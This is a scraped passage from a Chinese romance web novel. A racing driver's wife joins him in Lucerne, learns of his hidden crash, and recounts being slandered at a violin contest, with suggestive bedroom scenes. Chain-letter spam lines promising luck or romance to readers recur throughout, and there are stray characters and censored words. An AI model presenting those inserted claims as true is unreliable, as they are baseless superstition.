“我哥有次告诉我,这几年他抵触去卢塞恩,并不完全是他对那场车祸有心理阴影,从小到大他玩赛车受过那么多伤,他说他不怕死,他怕的是再回忆起,在那场车祸之后,
听说看这本书的人都是很幸运的,分享后你的运气会更棒
他失去了你。
当时就在训练的前一天,傅蔺征和朋友刚好去那边一个被本地人称作‘分手谷’的地方兜风,据说来那儿的很多情侣后来都分手了,他原本当笑话听,可后来车祸醒来,就看到了她分手的信息。
傅蔺征向来肆意狂妄,从不信命。
但那次以后,所有和她有关的,他都信了。
容微月想起六年前分手那天,她终于明白他当时脸上为什么还带着伤痕,走路也不对劲,他还红着眼问她:
“容微月……两个多月没见到我,你都没有什么想问我的吗?你为什么不问我好不好,是不是我所有的一切你都不在意?
他拼命从死神手里挣扎出来,忍着痛复健,带着满身伤痕赶来,他说京市距离杭市也不远,异地恋也很好,那样桀骜的天之骄子却卑微地低下头挽留她。
所以为什么傅蔺征当时会如此决绝地说“这辈子你别奢望我会再回头,是因为他所有的希望在那一刻被她全部摧毁了。
容微月眼底酸涩。
哪怕是这样,这六年他还是喜欢她,无论是大三时他以他们的名义去捐建征月楼,还是重逢后他明里暗里为她做的所有。
这辈子,她就算用尽所有的一切,都换不来比傅蔺征更好的爱人了……
十一个小时的航行,愧疚和爱意充斥着她的心头,飞机越过欧亚大陆,她仿佛也踏过那六年的岁月,落地在十八岁那年的阿尔卑斯山脚下。
清晨,寒意萧瑟,远处山脉起伏,积雪厚重,依稀鸟影飞过,天地一片辽阔寂茫。
怀裕接到她的信息,来机场接她。
容微月道谢,怀裕笑笑:“嫂子,你来了,征哥就不是一个人了。
容微月眼眶发红,是她来得太迟了。
车子一路从苏黎世去往卢塞恩,而另一头,市中心酒店的顶层总统套房里,傅蔺征一夜辗转反侧,几乎未眠。
来到这儿的第一天,傅蔺征心情就无端低沉。
往窗外看去,那座遥远的山谷,就是他曾经出事的地方。
宛若一双无形的手缠裹心口,沉闷难受。
傅蔺征睡不着起身,看了眼手机时间,此刻京市是下午,估计小姑娘还在工作室忙碌。
也不知道她中午有没有好好吃饭,衣服穿得够不够多,会不会着凉。
傅蔺征不想打扰,黑眸微涩,长睫垂下,弓身坐在床边,再度翻看起他和小姑娘从高中到现在的聊天记录,看完又拿起床头柜上的结婚证和一叠他洗出来的各样合照。
只要和她有关的,都能让他心安。
有些照片是几年前的,边角有些泛黄褶皱,被摩挲过很多次,有些是最近刚洗的,格外清晰
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
有她发在朋友圈的照片有他们在喀山拍的还有他们和呼呼的合照。
他最喜欢他的小姑娘笑她笑起来眼睛特别好看像弯弯的月亮。
傅蔺征看着心底的沉郁渐渐缓解。
过了会儿怀裕给他发了个工作安排傅蔺征回复了句没过多久套房的门铃声突然响起。
他微微一愣起身去开门却在看到门口的那一刻猛然怔住——
容微月站在门外一身灰驼色毛呢大衣里头是藏蓝色的针织连衣裙她围着围巾小口喘着气眸光清澈澄净发梢和衣角还带着未化的白絮像是一场雪把她送远方吹来。
京市和瑞士跨越八千公里。
可此刻他心心念念的小姑娘就真实地站在眼前。
一瞬间他以为是做梦了。
“傅蔺征……”
他还未来得及反应容微月轻哽着扑进他怀中青橘的甜香宛若带着春日暖意懵然冲散他所有的压抑和沉闷。
傅蔺征心脏重重跳动下意识般抬手将她紧紧揽住“月月……”
他脑中如雪白茫宽大身躯将她笼罩住嗓音沙哑:“怎么突然来了?”
随后怀裕走来送上行李傅蔺征看到他:“你去接她的?”
怀裕解释:“征哥是嫂子说想给你个惊喜没让我和你说所以我刚刚是帮忙试探一下您醒来没有。”
傅蔺征怔愣笑了揉了揉怀中之人的脑袋:“给我惊喜啊?”
容微月点点头朝他含泪道:“就像那次你去喀山一样
傅蔺征扣住她后颈怀抱给她渡去热意:
“我刚刚还以为是我做梦了。”
傅蔺征让怀裕回去休息他接过行李牵着小姑娘走进套房关上了门她就垫脚主动吻了上来。
傅蔺征愣了下很快反客为主把她按在墙上回以深吻。
哪怕才一天没见他却已经想到发疯他没想到她会为他跑来瑞士整颗心像是被捧进温泉中满心满眼都是她。
卷着她呼吸勾缠从热烈到温柔。
半晌傅蔺征把她一把打横抱起走进房间躺到床上她大衣和围巾被他摘掉傅蔺征掀开被子把她一起裹进来。
他用掌心暖着她冰凉的脸颊唇角勾起:“容微月你怎么回事啊我明天就回去了一天都忍不了这么想我?”
忍了一路的情绪决堤容微月看向他泪水滑落傅蔺征被吓得一怔:“怎么了?”
她压抑不住泪水傅蔺征心慌擦着眉峰拧起:“发生什么事了?是不是谁欺负你了?”
容微月摇摇头红着眼嗔他:“傅蔺征你怎么这么笨……”
听说看这本书的人都是很幸运的,分享后你的运气会更棒
“嗯?”
“为什么你当年出车祸都不告诉我是不是我不发现你打算瞒一辈子……”
傅蔺征眼底震动“你怎么知道的?”
“妈和音音来家里看我我说了你去卢塞恩的事她们就和我说了。”
难怪她突然要跑过来。
傅蔺征心底柔软塌陷无奈笑笑抹她眼泪“千叮咛万嘱咐我都白交代了。”
容微月鼻尖发酸:“我们都结婚了你之前还教育我呢让我有事要告诉你亏你还天天随身携带结婚证你都白复习了……”
傅蔺征被逗笑哄她:“那些都过去了我不是现在好好的?而且你就是个小哭包我就是知道你会是这反应。”
容微月吸着鼻子扯他衣服“你把衣服脱了我再看看你当初的伤口。”
那些伤口她都看过了可是此刻她还要再看看。
“没什么好看的都没事了。”
“快点不然我自己扒了。”
傅蔺征低笑揶揄:“容微月我还是第一次看到你这么霸道呢大白天扒人衣服啊?”
她嗔他也不知道这人怎么还有心思逗趣在她坚持下傅蔺征只好脱了上衣。
男人肌肉精壮可后腰、锁骨还有肩膀那几处都有狰狞的疤痕触目惊心。
当时翻车时巨大的冲击力几乎要把他从驾驶座甩出去
当时医生说他身上血肉模糊沾满机油许多道口子深得甚至能看到骨头。
此刻容微月看着眼眶瞬间泛红傅蔺征感觉那些疤就像活了过来在她的眼里一点点揭开。
更怕她难受傅蔺征圈住她喑哑开口声音如含了沙砾:“别看了都过去了。”
泪珠砸落容微月温柔抚摸那伤疤:“傅蔺征你会不会很疼……”
他抬手抚她头发低哑声音落在她耳畔:“六年了早就不疼了。”
她瘪嘴:“可你当时一定很疼音音说你昏迷了两周身上到处都是血……”
傅蔺征敛眸扯唇:
“当时其实最疼的不在身上。”
他注视着她的眸子“是我看到你那条分手的信息的那一刻我真的感觉……心快疼**。”
容微月泪水落下不停说着对不起声音细碎颤抖:“我当时不知道你受伤了都怪我……如果你当时不是为了早点回来见我去提前加练你也不会出车祸了……”
她差一点就看不到他了。
傅蔺征心疼吻掉她脸颊的泪珠:“没事老子命大可能是老天看到我还没娶到你所以再给了我一次机会。”
容微月紧紧抱着他
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
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泪光氤氲:“是上天给了我一次机会,让我还能回到你身边……”
如果那时候他走了,她真的会抱憾终生。
如今他失而复得,对她来说也是如此。
容微月看着他的伤口,担忧问:“你平时身上还会不会有不舒服的地方?车祸有没有后遗症啊?”
傅蔺征本不想她担心,可耐不住小姑娘执着追问,只好坦言:“就偶尔情绪太激动,右手会发抖,但不影响比赛。”
其实能重回赛场,傅蔺征的身体已经恢复得很好了,唯独手上留下了轻微的神经损伤。
容微月想到当年他来杭市找她的时候,他的手就有点奇怪,还有那晚同学聚会完在停车场他情绪爆发质问她的时候,右手也控制不住微颤。
只有和她有关的事情就会影响着他。
容微月攥住他手,心疼愧疚,傅蔺征笑了笑:“没什么大事,不用担心,而且你的手链不是都给我戴了?有你陪着我,我以后不会出事的。”
她压下鼻尖的酸涩,“那还有其他后遗症吗?”
傅蔺征笑了,热气喷洒在她耳垂,低撩:
“宝宝,老子都把你做到发烧了,你说我身体还有什么问题?”
她脸颊泛红,傅蔺征将她笼住,声线低低落在她耳边:“月月,你知道么,当时当我车祸醒来,看到你和我提分手的那个短信的时候,那一刻……我宁愿我没被救过来。”
容微月心底刺痛。
傅蔺征喉间如灌了铅:“因为至少在我死前的记忆里,你还是我的女朋友,你还在京市等我一起读大学,我经常可以去你学校陪你吃饭,陪你逛操场压马路,等毕业,我就能向你求婚,我们的家里有呼呼,以后说不定还有个孩子,我们可以共度朝夕,相濡以沫,白头到老。”
男人眼底发烫,哑声道:“至少在我死前的记忆里……我还可以相信,你是喜欢我的。”
容微月酸涩着眸,想到当年在杭市对他说的话,愧疚摇头道:
“傅蔺征,我没有不喜欢你,分手的那些话我说的不是真心的,因为……因为我当时不知道该怎么办,我也对我们的感情没有信心……”
她看向他,眼底泛酸:“其实当年我也遇到了一些事,我不知道该怎么处理……所以我才选择逃离的。”
傅蔺征眼底微动,吻掉她眼泪,温柔注视她:“所以,月月愿意把当年的苦衷告诉我么?”
他说的是不是当**,而是“当年的苦衷”。
他一直都没有怪过她,相信她也有难处。
容微月微怔问他怎么知道,傅蔺征笑:“一开始分手,我相信过你说的话,但重逢后,我越来越能感受到你对我的在意,而且
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那次喝醉你说分手一点都不好我就猜到了。”
傅蔺征吊儿郎当打趣:“而且就老子这样全方面都那么完美的男朋友一般人能忍住不动心?那他肯定戒过毒。”
容微月不禁弯唇
容微月鼻酸点头钻进他怀中“对不起我一直不敢面对所以就拖着没说本来也是想等我父母回来再把当**一并告诉你。”
她指尖揪着他衣角对上傅蔺征温柔的目光几秒后轻声开口掀开那段往事:
“你还记得高考后你给我推荐的那个‘明恒之杯’比赛吗?”
傅蔺征努力回忆了番记起来眉间松动:“你是说那个小提琴比赛?”
“嗯……就是和那次比赛有关。”
明恒之杯是明恒旗下文化公司和京市音乐协会联合举办的全国青少年小提琴邀请赛当时容微月艺考结束已经和小提琴专业道路告别但傅蔺征知道她喜欢小提琴就鼓励她去参加这个比赛。鈅謌
站在更大的舞台拿一个奖圆一个梦。
容微月也想试一试就报了名靠着自己的能力逐层选拔上去最后闯进了决赛。
而那段时间傅蔺征正好在国外训练。
总决赛那天盛柳和容承业也来看她比赛了他们坐在前排容微月一直想得到父母的肯定那天演奏也极为出色几首曲终掌声如潮连向来严肃的容承业脸上都难得展现赞叹的神情。
演出结束容微月累积分数最高荣获冠军万众瞩目间她一身优雅的白纱裙走到台中间正要接过奖杯时谁知后方的LED大屏却出现几行刺眼的大字——
【参赛者容微月勾搭明恒集团董事长儿子傅蔺征涉嫌暗箱操作其姐姐曾为全国知名小提琴新秀容思晴容微月毫无廉耻愧对已故姐姐!】
屏幕上显示出几张容微月和傅蔺征在校外牵手拥抱的照片还有第一次傅蔺征送她来初试的照片瞬间引得全场哗然轰动。
震惊怀疑鄙夷台下上千双眼睛像利刃般投向她。
就像是最漂亮的那颗水晶球猛地碎裂。
她也在离梦想最近的那时快被重重摔了下来。
对于十八岁的容微月来说青涩的她还没有能力、阅历却面对这样的情况那是人生的至暗时刻。
容微月回想起当初声音不自觉发颤:“我当时特别慌我不知道是谁在污蔑我我想解释我和你不是那种关系可是……可是底下很多人骂我他们让我滚下来骂我是个**骂我脏……”
当时容承业和盛
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柳立刻冲到台上,把她护在身后,说LED屏幕上的话是一派胡言,可是现场大乱,有人直接冲上来,甚至把东西扔到她身上,直到保安进来才平息了冲突。
赛事方为了息事宁人,先取消了颁奖仪式,说要展开调查。
容微月自尊心本来就高,那一刻她就像是被扔进烈火中,人们投来审判的目光,对她指指点点:
“原来靠是攀上明恒的大少爷才拿到冠军的啊,小小年纪手段这么肮脏。”
“她姐当年多优秀啊,这个妹妹倒好,才十几岁的小姑娘就做出这种事,真丢人。”
“就说她怎么可能弹得过那些专业的艺术生,原来后台够硬啊……”
“滚下来吧,这种人还配当冠军……”
当时她耳边充斥着各样羞辱,练琴机构里她许多朋友们也被家长警告远离她,其实大多数人才不在意她和傅蔺征是什么关系,他们只是趁机把嫉妒和厌恶全都倒在她身上。
那天容微月忍着泪回家,已经很难受了,可最让她难受的是父母的态度。
一到家,容承业便厉声质问:“那个屏幕上说的到底是不是真的?你和那个明恒的公子哥在谈恋爱?你靠他拿了比赛的冠军?”
盛柳也追问,容微月觉得心酸可笑,原来连她的父母也不相信她,她冷声看向他们:“我是和他谈恋爱怎么了?我和他高三就在一起了,他支持我练小提琴,但是我没有靠着他拿冠军。”
容承业大发雷霆:“容微月!你高三你不好好读书去早恋!还是和这样一个富家公子哥在一起,我从小怎么教育你来着!那些照片拍得清清楚楚,无风不起浪,你让别人怎么看你?!”
盛柳也指责她不该这样,她向来很乖的,容微月瞪着他们:“我说了,我没有靠着他暗箱操作!这场比赛是我靠实力拿第一的,为什么你们不相信我?”
容承业气笑了:“就算你没有,瓜田李下你不知道?而且你以为那种有钱的大少爷会真心对你,人家就是玩玩罢了!就你还觉得人家是真心,他人现在在哪儿呢?容微月你怎么那么傻啊!从小到大自以为聪明,从来就没让我省心过!”
容微月扯唇反讽:“是,我不管做什么,我从来没有让你满意过,姐姐去世了所以她很美好,我活着就是丢你们的脸,可我凭什么要听你的话,你凭什么管我?!”
容承业:“容微月,你好意思提你姐姐?她要是还在,我会报那么大希望在你身上?!”
容承业的话像一记耳光,狠狠地打在她的脸上。
整个客厅陷入死寂,容微月看着他,一颗晶莹泪珠从眼角滚落。
她红唇颤抖,几秒后冷笑开口:“你终于
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第 48 章 “非要勾引我是吧?”...
第48章第四十八章
【“非要勾引我是吧?
chapter48
傅蔺征温柔而坚定的话落在耳边,容微月心底的委屈和多年的压抑被热流包裹,眼尾漫过一片温热,轻点点头。
就像从前他和她的每一次承诺的一样,她知道,只要他说的,就一定会做到。
傅蔺征搂着她,眉关沉锁:“当时比赛的LED屏幕肯定被动了手脚,要么死出于嫉妒,要么是你比赛的竞争者,又或者是和我有关,对方还拍了我们的照片,显然比较了解我们,你当时有没有发现什么线索?或者有什么怀疑的人?
容微月努力回想了下,可脑中一片空白,她摇摇头,声音轻颤:“当时总决赛的其他参赛者我都不是很熟悉,和他们没什么交集,其他的人……我真的没什么印象了。
那一天的记忆,就像是被火焰烧灼过的纸张,满目焦痕,格外模糊。
也许是大脑自我保护的本能,她一直抗拒去回忆那段过往,甚至潜意识里想把它彻底清理出大脑,再也不要想起。
六年前的事不好查,但如果有人动手脚,一定有蛛丝马迹可寻,傅蔺征让她不要操心,都交给他:
“之前不是说了,你老公就是为你解决问题的,这事是你心底的一根刺,现在我陪着你,我们一起把它拔掉,好不好?
容微月暖心点头,环住他腰:“阿征,其实我现在已经不在意之前的事了,我们又在一起了,就再也没有什么能让我们分开。
傅蔺征低声应:“其实换个角度来想,也许这一切也是命运的安排,曾经的经历很痛苦,可现在回头看,它们都成为了我们成长的养分,分开这六年,没有隔开我们,反而让我们更清楚地明白有多爱彼此,是么?
如若没有那段分离的痛苦,没有这六年的辗转,他们或许无法真实体会这份感情的重量,正是因为历经千帆,他们才更笃定——年少时的初恋,才是那个唯一想要携手共度余生的人。
容微月闻言心头涌上暖意,弯起唇畔:“是,现在一切都很好。
傅蔺征挲摩着她手上的婚戒,认真道:“月月,我也要再和你道歉一次。
她懵然,“怎么了?
“当初我不应该和朋友打赌来追你,也不应该开玩笑说谈恋爱只是为了开心,那时候我不够尊重你,也不尊重我们的感情。他愧疚言。
她怔住,傅蔺征想到从前:“一开始我追你是有些出于胜负欲,但后来我是认真的,我想和你一起在京市读大学,我想娶你,认定你之后,我眼里再也看不到其他人。
他握住她的手,黑
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眸抬起如燃着焰倒映她:
“容微月从高中到现在我对你说的每一句我爱你都是认真的。”
小姑娘眼底酸热傅蔺征说:“但是我一开始没做对我又是那样吊儿郎当散漫的性格让你没啥什么安全感我保证以后不会再这样了。”
他和她十指紧扣黑眸沉定:“而且谁说我们是云泥之别?在我眼里那些身世背景不重要我家庭的优渥从来不是横亘在我们当中的距离那只是代表我有能力给你更好的生活知道么?”
容微月听到他这些话曾经那些扎在她心底的刺痛终于在此刻尽散。
她理解了也明白了不再因为那些话而难受自卑了。
鼻尖泛酸她心头软得像被烘热的面包点点头:“我知道也是我太敏感拧巴如果我当时直接问你或者和你大吵一架很多情绪也不会憋在心里发酵了。”
其实这些年来傅蔺征早已用无数次行动证明他的真心她应该更相信他也该对他们的感情更有信心。
恋人之间想要走得长远不能隐瞒逃避
容微月提起红唇:“我知道你现在很爱我我也爱你所以我们一切都来得及对吗?”
傅蔺征倾身扣住她后颈吻来:
“当然。”
气息织交绵绵丝缠他把她搂在怀中送去全部的爱意。
窗外雪落无声天地皆白。
十八岁那年滂沱的大雨终于跨越萧瑟的秋季化成了如梦似幻的茫茫白雪。
容微月攀着他肩膀往他怀中贴得更近又不禁往后倒下傅蔺征迎了上来结实的胸膛紧贴着她圈住她的臂膀绷起的肌肉线条伏起青管蜿蜒。
男人侧首吻辗转于她薄红的耳垂和白皙的天鹅颈气息愈发变重如**在心里扫荡掀起难遏的念想不禁唤她:
“宝宝……”
她主动勾住他的脖子正当俩人的呼吸失秩突然之间——
“咕噜……”
小姑娘肚子很清晰地叫了一声。
“……”
氛围突然被打破。
她窘然唔了声傅蔺征低笑出声暗红的眼底渡去几分宠溺:“饿了?先宝你去吃饭?”
容微月脸颊泛红“饿了不不饿……”
傅蔺征笑意更深“到底饿不饿?”
小姑娘眨着透亮的眸子窘然嗫嚅:“肚子饿但是那个也挺饿的……”
她向来在这方面总是会大胆地告诉他傅蔺征喉结滚动浑坏的嗓音贴在她耳边:“什么很饿啊?小月亮么?这才过几天啊又想吃热狗了?”
容微月脸颊挂了红柿子咬唇纯着眸看他:“想吃
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可能我最近胃口比较好吧……”
操他真的要被她可爱**也要被她钓**。
容微月心头小猫爪在挠轻揪他衣角嗓音如猫一般娇嗲:“不来吗……”
傅蔺征咬她耳垂:“这么想要?”
最近生病这几天天天清汤寡水喝粥就算是出差前一晚也才小餐两顿完全比不了平时她怎么能饱呢。
小姑娘轻应了声傅蔺征也很难受何尝不愿但还是保持理智沉哑哄她:“早上我要开会真要了一个多小时能结束?等今晚?而且你飞过来十几个小时都没吃饭等会儿老子把你弄虚脱怎么办?”
傅蔺征的原则是既然要那就必须尽兴。
烤肠店老板早晨说不对外售卖小姑娘也觉得热狗要再多翻滚一会儿才够脆皮好吃只好轻轻应下等晚上再来光顾。
但是老板又叫住了她给她送了份甜品。
傅蔺征看到她滑过难过的眸子眼底沉灼让她变成蝴蝶“宝宝先让你…一次。”
窗外卢塞恩的天幕洁白如洗远山的松林被厚雪压弯偶有风拂过卷起细碎的雪宛如无数碎钻在空气中浮动。
街道寂静偶尔传来马车蹄声压过雪地的回响
今早早晨酒店工作人员也送来了一份草莓小贝两块小蛋糕中间是草莓果肉傅蔺征却觉得远不如这个香甜柔软这里面还有好多草莓夹心汁。
半晌俯首称臣的男人仰起头把她搂进怀中她眼神空了好久眼尾挂着泪珠可爱又可怜男人气音沉沉亲掉眼泪打趣:“现在饱了点?”
容微月眼睛红成小白兔:“暂时饱了……”
呜呜呜傅蔺征真的好厉害为什么这么会……
男人吻她耳垂:“宝宝知道我早晨渴了也喂了我好多啊。”
容微月脸颊红红埋起让他不许说了傅蔺征帮她清理了番她注意到橱窗里的热狗已经烤得油亮亮了肠衣都要炸开却还是忍着不卖给她真佩服烤肠老板的自制力……
末了傅蔺征调侃:“现在能吃饭了?”
“嗯……”这下可以顾得上胃了。
傅蔺征抱她坐在沙发上茶几上摆着好几份精致的西式早餐男人用餐叉叉起“宝宝尝尝这个蜂蜜牛角包?”
“好。”
她咬了一口眉眼弯弯傅蔺征又问她:“宝宝还想吃什么?”
她指了指“那个薯饼。”
他叉了个薯饼搭配三文鱼卷送到她嘴边就像各方面都给她喂饱的爹系又给她倒了杯热饮“喝这热巧克力?”
“好。”
小姑娘
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什么都不挑,喂什么吃什么,难得娇气得全凭他伺候,傅蔺征笑:“你是小兔子么?我喂什么你吃什么。
她眨眨眼睛,“是你的小兔子。
傅蔺征心头发软,忍不住亲了下她脸颊,笑:“宝宝,怎么这么乖啊。
容微月脑袋靠在他怀中,软声呢喃:“知道你之前那么可怜,以后我乖点。
傅蔺征薄唇勾起,贴在她耳边,嗓音磁哑:“你这么说,我不是可以利用你这个心理做很多事了?
她眼波如秋水漾开,仰眸看他:“嗯,今晚你随便zuo,好不好?
真的惹不够他,傅蔺征把她圈得更紧,气息沉重:“老子要随便zuo,你不是又要发烧了?
她咕哝:“那你要试了才知道呀。
看她这挑衅的样子,傅蔺征咬了下她耳垂,气笑:“等着,今晚别哭着求我。
过了会儿吃完早餐,傅蔺征要去开会,下午他要去山谷进行纪录片拍摄,容微月问:“下午我可以陪着你吗?我不想你一个人去。
去到曾经出事的地方,他肯定心里会难受,她想陪着他。
他抬手揉了揉她的发顶,眉宇温柔:“好。
傅蔺征去换衣服,容微月坐回床边,看到床头竟然有结婚证和一沓他们的合照,惊讶发笑:“傅蔺征,你怎么把我们合照都洗出来了?看不出来你这么黏人呢?
傅蔺征轻咳两声,慵懒道:“就之前有空,刚好就洗了,随手带来翻一翻。
嗯,又是刚好,又是随手。
她拿过:“既然随便洗的,我没收了。
傅蔺征脸色微沉,把她拉到怀中,低声道:“不许,还给我。
这人怎么这么可爱啊……
她含笑说他笨,把照片拿给他:“下次遇到事情你不许再瞒着我,我来陪着你不比这照片有用?
傅蔺征勾唇懒懒应了声,走去换上西装,站在穿衣镜前,他扣上衬衣纽扣,转头看她,两节手指朝她勾了勾,“宝贝,过来。
“干嘛……
“什么干嘛,帮你老公系领带。
容微月噢了声,乖乖下床跑到他面前,接过深石墨灰色的西装领带,让他微弯下头,男人顺势搂住她细腰,宽阔硬朗的肩背把娇瘦的她整个人圈住。
她在他面前真的小只得不行。
忍不住低头亲她脸颊,她羞得让他正经点,给他系上,“松点还是紧点?
“松点。
他懒声落在耳畔:“你平时都够紧了。
?这不是第一次给他系领带吗,容微月懵了下,下一秒反应过来,面颊酡红:“傅蔺征你够了……
坏**这人……
他还不承认,
听说看这本书的人都是很幸运的,分享后你的运气会更棒
带着几分慵懒戏谑:“我说的是你平时抱着我很紧,你联想到什么了?怎么一天到晚思想这么不单纯啊。
她真想打他,“你再说我就不帮你了!
她踮起脚尖咬他喉结,又给他爽到了。
傅蔺征不再逗她,让她系着,今早要谈公事,他穿了高定的深墨蓝色西装三件套,外头披着深驼色羊绒大衣,裁剪流畅精致,勾勒宽肩长身。
模样虽然斯文矜贵,却依旧掩不住他骨子里桀骜张扬的气场。
系好领带,容微月拿过银灰色纹理的领带夹夹在西装第三颗扣子下方,后退一步欣赏成果,眼眸弯弯:“好啦。
傅蔺征挑眉,“看不出来,手法还挺流利。
她打趣:“当然咯,以前其他的男朋友教我的。
?
傅蔺征眸色一愣,醋意炸开,把她锢住:“你哪来的其他男朋友?
容微月眸子弯弯:“我要大学真的谈过其他男朋友,你会介意吗?你还喜欢我么?
傅蔺征注视着她,思考了这个可能性,心底的占有欲和醋意翻江倒海,却被压下,哑声道:“怎么可能不喜欢,虽然老子会吃醋死,但这是你的自由,反正你最后是我的。
容微月鼻头酸酸,笑:“当然是你的,从来没有别人。
傅蔺征悠然感慨:“不用想知道,你喜欢过我这种各方面都是顶配的男人,眼光肯定被拔高了,能看得上其他人?
她莞尔,“傅蔺征,你就没有一天不臭屁的。
她给他理好领带,解释道:“是我看到你平时会穿西装,前段时间自己学的,我还会给你带袖箍呢,特别性感,改天试试?
他勾唇,“喜欢我穿西装?要不要我穿着西装*你?
她想到那矜贵和野性反差到爆棚的画面,整张脸泛红,傅蔺征撩道:“改天试试。
她羞得弯唇,应:“好的,大狗狗。
他眸一停,“叫我什么?
她弯眉,“怎么了,你不是我的狗狗吗……
傅蔺征眼底暗暗,气笑俯身把她抵在墙上霸道索吻,容微月笑着赶忙从他怀中钻出来,“你要开会了,不许闹了。
这人没两下又起来……
最后傅蔺征揉揉她头:“去睡觉,我出门了,中午再回来接你。
她应下。
傅蔺征走出套房,怀裕已经在门口等候。
他看到傅蔺征唇角挂着若有若无的笑意,和昨天沉郁的状态完全不同。
怀裕又被喂了口狗粮。
天哪,这就是嫂子的魅力吗,这到底是怎么哄的啊,能让征哥心情好成这样……
往电梯口走去,傅蔺征把当初明恒之杯容微月被诬陷的事,告
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诉了怀裕,吩咐道:
“这几天你把那届明恒之杯的所有资料调出来——参赛名单、比赛录像、评委和工作人员名单,特别是参赛成员,你重点排查,还有当天机房监控坏了,这个细节你也去查清楚,看看是不是有人动了手脚。”
“好的。”
傅蔺征目光锐利,语气沉冷:“等回国,你通知明恒文化当年的比赛负责人来找我,为什么这件事明恒内部没有一点消息,谁把事情压下去了,全都给我交代清楚。”
这件事间接导致了他们六年的分手。
那个在背后搞事的人他是一定不会放过的。
怀裕知道这件事的严重性,郑重点头:“好的征哥,我一定查清楚,还嫂子一个清白。”
-
早晨容微月在酒店补觉,把当**说开后,她心里完全轻松了,踏踏实实睡了一觉。
醒来时,她发现傅蔺征已经回来了,坐在床边一边工作一边陪她,她黏人地钻到他怀中,“怎么不叫我啊?”
“你睡那么香吵你干什么?”傅蔺征揉揉她的头,刚才他开会回来就看到她缩成一团睡着,睡颜温柔安静,他整颗心就柔软得不行。
六年前来瑞士,他身边空荡荡的,但是现在她在他身边,还是他的太太。
只要有她在的地方就是家。
容微月笑了笑,和他耳鬓厮磨了会儿,就一起出门去吃饭。
下午,俩人前往纪录片的拍摄地点,劳斯莱斯行驶出市区,车窗外小雪轻飘,傅蔺征和容微月坐在后排,他给她介绍着沿路的风景。
一个小时后,劳斯莱斯驶达卢塞恩南郊的峡谷,傅蔺征道:“那次车祸以后,组织闭门实训的VMD公司后来破产了,现在这个地方被瑞士当地政府接管。”
山路盘旋往上,六年后第一次故地重游,傅蔺征依稀回想起当年跑道的样子,车祸的一幕幕也跃然在脑中。
血腥味,骨骼碎裂的疼痛和漫天的火光……各种记忆翻涌而来,他眉峰锁起,心头沉沉。
容微月感受到他的难受,紧握住他的手,轻柔言:“阿征,你今天要是不舒服就和我说,在我面前你不需要逞强,知道吗?”
其实来之前,傅蔺征一直告诉自己,在赛场上什么事情没见过,区区一次车祸而已。
可他的小姑娘不是劝他坚强,而是告诉他,人都不是完美的,他可以脆弱,因为她现在足够强大,她的肩膀可以借他依靠。
在她面前,他不是那个站在顶峰无坚不摧的世界冠军,他只是她的丈夫。
傅蔺征对上她目光,心慢慢松开,勾唇:“嗯,我的公主也可以保护我了。”
容微月扬起唇畔,抱住他。
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过了会儿车子开到半山腰,一栋灰白
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色建筑映入眼帘,两人下车,SEDR的负责人乔纳森和纪录片主持人瑞秋等工作人员热情迎接。
傅蔺征年纪轻轻斩获世界冠军,名声享誉全球,备受尊敬。
傅蔺征牵着容微月下车,大家热情温暖地迎上来,乔纳森和他握手,用英文笑道:“您好,傅先生,很高兴见到您。
傅蔺征和各位握手,大家都注意到容微月,他揽住她介绍,柔声言:
“Thisismywife,sheiswithmetoday.(这位是我太太,她今天陪着我。)
大家看向傅蔺征身旁的容微月——
鹅蛋脸,柳叶眉,绛红唇,一双剔透的琥珀眸泛着绵绵温柔,睫毛纤长,酒窝点起,披着烟白色的羊绒大衣,长发梳了个低髻,典型的东方古典美人,美得倾国倾城。
没想到这位年纪轻轻的世界冠军结婚了,太太还如此漂亮,大家惊叹表示恭喜,直夸两人般配。
容微月含笑和大家问好,打完招呼,几人走**内,整理着妆容,瑞秋和傅蔺征沟通了下流程,确认无误后就开始拍摄,而容微月可以陪在傅蔺征身边,目前这些影像都不会对外公开。
开机后,瑞秋先对傅蔺征做了个简单的采访,而后带他们去了资料厅,里头是一张小型会议桌,面前是个屏幕和桌板,上面挂着山谷的赛道模型。
在得到傅蔺征允许后,屏幕上播放了当时车祸那天的相关录像,画面里,赛车侧翻,旋转,起火,容微月此刻亲眼看到,还是被再度冲击到,红了眼眶。
她只是看着就觉得疼到窒息,何况是六年前亲身经历的傅蔺征呢……
傅蔺征看着,原本心头微微的压抑,在感受到手被小姑娘握住传来暖意时,也慢慢平静下来。
来之前就做好了心里建设,其实他真的没那么恐惧于那场车祸给他带来身体上的伤痛。
瑞秋说,傅蔺征当时在看到那辆工程车后,瞬间减速并强制切断了加速系统,猛打方向盘,选择侧翻式避让,避免和工程车正面相撞,也挽救了那个工程师的生命,做出了极端状态下最优的边缘拯救决策。
瑞秋问他当时在那短短的两秒中到底思考了什么,傅蔺征默了默,平静道:
“我没想什么,只是下意识不想伤到其他人,我知道我如果撞上那辆工程车,以我车的防护装置我基本不会死,但那辆工程车上的人肯定会当场没命,所以我想尽全力,让我们都活下去。
他从前在教材上学过关于如何处理侧滑避障,但当时能做出那个决定,是靠他高超的车技和无数次在大赛上积累下来的
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经验,以及强大沉稳的心态。
他选择了更差的撞击角度,用自己身负重伤的结果,挽回了另外一条生命。
容微月闻言,眼底泛泪,心头也被强烈震撼到。
傅蔺征车祸的事并未对外公开过,但圈里知道的人都对他深深敬佩报以敬意,无论是技术还是人品,他都当之无愧被称为世界顶级的赛车手。
而后,纪录片团队带他们去到出曾经车祸的坡道,那里曾经是个封闭式赛道,现在在周围都设立了安全栅栏,那条路已经封闭了。
傅蔺征看着,在镜头前平静阐述当时的经历,容微月看到那条狭窄的山路,都难以想象当时的艰险,那时候的傅蔺征才十九岁。
镜头关了后,两人静静看着,傅蔺征抬手揽住她,容微月鼻尖发酸,想来还是心悸:
“太惊险了,我差一点就见不到你了……”
来到这里后,反而是容微月更难受,男人抹掉她眼泪,含笑哄她:“大难不死必有后福,我这不是好端端站在你面前了?”
容微月抱着他,瑞秋贴心地递来纸巾,傅蔺征淡笑用英文道:“我太太是个小哭包,她也是今天才知道我出车祸的事,所以很心疼我。”
瑞秋诧异:“您太太是才知道吗?”
傅蔺征和容微月对视:“对……当时我们因为一些原因分开了,现在我们又复合了。”
瑞秋怔了怔,感慨说难怪感觉俩人的感情很好,“这也许正是你们故事里最打动人的地方,经历过分离和重逢,才更能让人懂得彼此的重要。”
